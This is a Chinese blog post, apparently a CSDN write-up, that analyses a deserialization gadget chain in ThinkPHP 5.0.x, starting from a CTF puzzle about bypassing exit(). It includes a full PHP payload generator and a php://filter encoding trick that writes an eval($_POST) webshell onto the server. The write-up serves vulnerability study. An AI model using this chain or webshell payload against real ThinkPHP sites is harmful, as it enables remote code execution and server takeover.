ThinkPHP5.0.0~5.0.23反序列化利用链分析

本文详细分析了一道CTF题目中的ThinkPHP5.0.22版本漏洞,涉及死亡绕过和反序列化技术,展示了如何通过构造特定payload在系统中写入木马文件的过程,包括反序列化调用链和漏洞触发点的详细步骤。
摘要由CSDN通过智能技术生成

本次测试环境仍然是ThinkPHP v5.0.22版本,我们将分析其中存在的一条序列化链。

一道CTF题

这次以一道CTF题作为此次漏洞研究的开头。题中涉及PHP的死亡绕过技巧,是真实环境中存在的情况。


$payload='';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda9.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
file_put_contents($filename, $data);

如上,payload怎么写可以可入木马文件?
 注意:要windows系统与liunxc上都可写入才行哟。

答案将在文章中解密

漏洞触发点

位于thinkphp框架下的File类中有set方法 写入缓存

假如 $name 与 $value是可控的变量,加之死亡绕过的加持。是不是就可以向系统写入木马文件了。

那么如何调用呢,除了接口调用,还有一种调用方式,那就是反序列化......

接下来我将分析在thinkphp5.x版本中存在的一条反序列化链,它会通过函数的层层调用,最终调用倒file类的set方法 file_put_contents向系统写入一句话木马文件。

反序列化调用链分析 

本次反序列化以window类为入口点,准备传递如下的对象

 首先来到windows类

class Windows extends Pipes
{
...
    public function __destruct()
    {
        $this->close();
        $this->removeFiles();
    }
...
}

当对象被创建时调用__destruct魔术方法,跟过去removeFiles方法

class Windows extends Pipes
{
...
    private function removeFiles()
    {
        foreach ($this->files as $filename) {
            if (file_exists($filename)) {
                @unlink($filename);
            }
        }
        $this->files = [];
    }
...
}

基于php的特性,使用file_exists方法时如果参数是一个对象,则调用相应的tostring方法。我们给windows类的成员file传递的是一个数组且第一个是Pivot对象,且Pivot的父类Model才有tostring,因此会跳到model类去执行tostring 方法。

class Pivot extends Model
{
    //无tostring
    //无tojson
}
abstract class Model implements \JsonSerializable, \ArrayAccess
{
    public function __toString()
    {
        return $this->toJson();
    }

    /**
     * 转换当前模型对象为JSON字符串
     * @access public
     * @param integer $options json参数
     * @return string
     */
    public function toJson($options = JSON_UNESCAPED_UNICODE)
    {
        return json_encode($this->toArray(), $options);
    }


}

跟进toJson方法中在跳入到toArray方法(model类)

public function toArray()
    {
        $item    = [];
        $visible = [];
        $hidden  = [];

        $data = array_merge($this->data, $this->relation);

        // 过滤属性
        if (!empty($this->visible)) {
            $array = $this->parseAttr($this->visible, $visible);
            $data  = array_intersect_key($data, array_flip($array));
        } elseif (!empty($this->hidden)) {
            $array = $this->parseAttr($this->hidden, $hidden, false);
            $data  = array_diff_key($data, array_flip($array));
        }

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
            } elseif (is_array($val) && reset($val) instanceof Model) {
                // 关联模型数据集
                $arr = [];
                foreach ($val as $k => $value) {
                    $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
                }
                $item[$key] = $arr;
            } else {
                // 模型属性
                $item[$key] = $this->getAttr($key);
            }
        }
        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation   = $this->getAttr($key);
                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $relation = Loader::parseName($name, 1, false);
                    if (method_exists($this, $relation)) {
                        $modelRelation = $this->$relation();
                        $value         = $this->getRelationData($modelRelation);

                        if (method_exists($modelRelation, 'getBindAttr')) {
                            $bindAttr = $modelRelation->getBindAttr();
                            if ($bindAttr) {
                                foreach ($bindAttr as $key => $attr) {
                                    $key = is_numeric($key) ? $attr : $key;
                                    if (isset($this->data[$key])) {
                                        throw new Exception('bind attr has exists:' . $key);
                                    } else {
                                        $item[$key] = $value ? $value->getAttr($attr) : null;
                                    }
                                }
                                continue;
                            }
                        }
                        $item[$name] = $value;
                    } else {
                        $item[$name] = $this->getAttr($name);
                    }
                }
            }
        }
        return !empty($item) ? $item : [];
    }

我们给Pivot对象的成员$append传递的是xxx=getError(函数),因此if (!empty($this->append))成立,进入。又因为name(getError)既不是数组也没有“.”号所以会进入else语句块。

重点关注下这段函数调用

调用了函数$name就是getError方法,而我们给Pivot对象的成员error传递的是HasOne对象,因此modelRelation将被赋值为HasOne对象,

class HasOne extends OneToOne abstract class OneToOne extends Relation

紧接着参数传递调用getRelationData方法

 this->parent有值的 可为真,modelRelation是HasOne对象 调用相关方法isSelfRelation getModel。

成员selfRelation为0 , 返回后取反 可为真

 HasOne对象成员query传递的是think\db\Query对象,向它传递的model成员是new think\console\Output对象,因此最终返回Output对象,而在之后的判断中由于parent传递也是Output对象,==成立。

至此这个if语句成立value将被赋值为Output对象,随后返回赋值给model类的value属性

继续向下分析,modelRelation是HasOne对象,已经给BindAttr传递数组 0->"xxx" 了,故$bindAttr会被赋这个数组值,if条件成立

之后进入else语句块试图调用value(Output对象)的getAttr方法。

Output对象中是没有getAttr方法的,此外它还重写了__call方法,由于PHP特性程序会跳到Output对象的__call方法,且参数$method为getAttr  $args为"xxx"

Output对象成员styles已被赋值数组0->getAttr,因此if条件中的in_array成立,将调用call_user_func_array,调用类(Output对象)中的block方法

跟进writeln方法

跟入write方法

调用了handle也就是Memcached对象(已被传递赋值)的write方法 跟入

Memcached对象的handler成员属性以被赋值file对象,调用其set方法,这样就来到了漏洞触发点了

重点分析下,filename的赋值,跟入getCachekey方法

file对象成员属性options被我们赋值如下

所以它最后得到的$filename是[可控值]+[某md5值不可控].php

目前来看data还不可控,但是由于后面有setTagItem方法,将name赋予data,再次调用set方法

现在data与filename就是可控的了,

这就变成了最开始CTF题的形式

题解

现在公布题解如下,如下代码就可以绕过exit,且兼容windows文件名限制。

<?php

$payload='php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php';
$filename=$payload.'468bc8d30505000a2d7d24702b2cda9.php';
$data="<?php\n//000000000000\n exit();?>\n".serialize($payload.'647c4f96a28a577173d6e398eefcc3fe.php');
// echo $filename."\n\n";
// echo $data."\n";
file_put_contents($filename, $data);

 将生成文件木马

漏洞完整测试

首先再namespace app\index\controller index类中编写一个可接受参数序列化的方法

    function test($a='')
    {
          echo $a."<br>"."开始序列化....";

          echo unserialize(base64_decode($a));
    }

随后浏览器访问

127.0.0.1/ThinkPHP_full_v5.0.22/public/index.php?s=index/index/test&a=[序列化值]

 payload序列化数据生成

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];//创建windows对象 让属性files存储Pivot对象($Output,$HasOne)

        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}

namespace think\db {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    echo serialize($window);
    echo "<br>";
    echo base64_encode(serialize($window));
}

 将生成的值赋值a get传参

此刻后端生成两文件

其中998后缀的木马文件

 

 

 

  • 11
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

昵称还在想呢

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值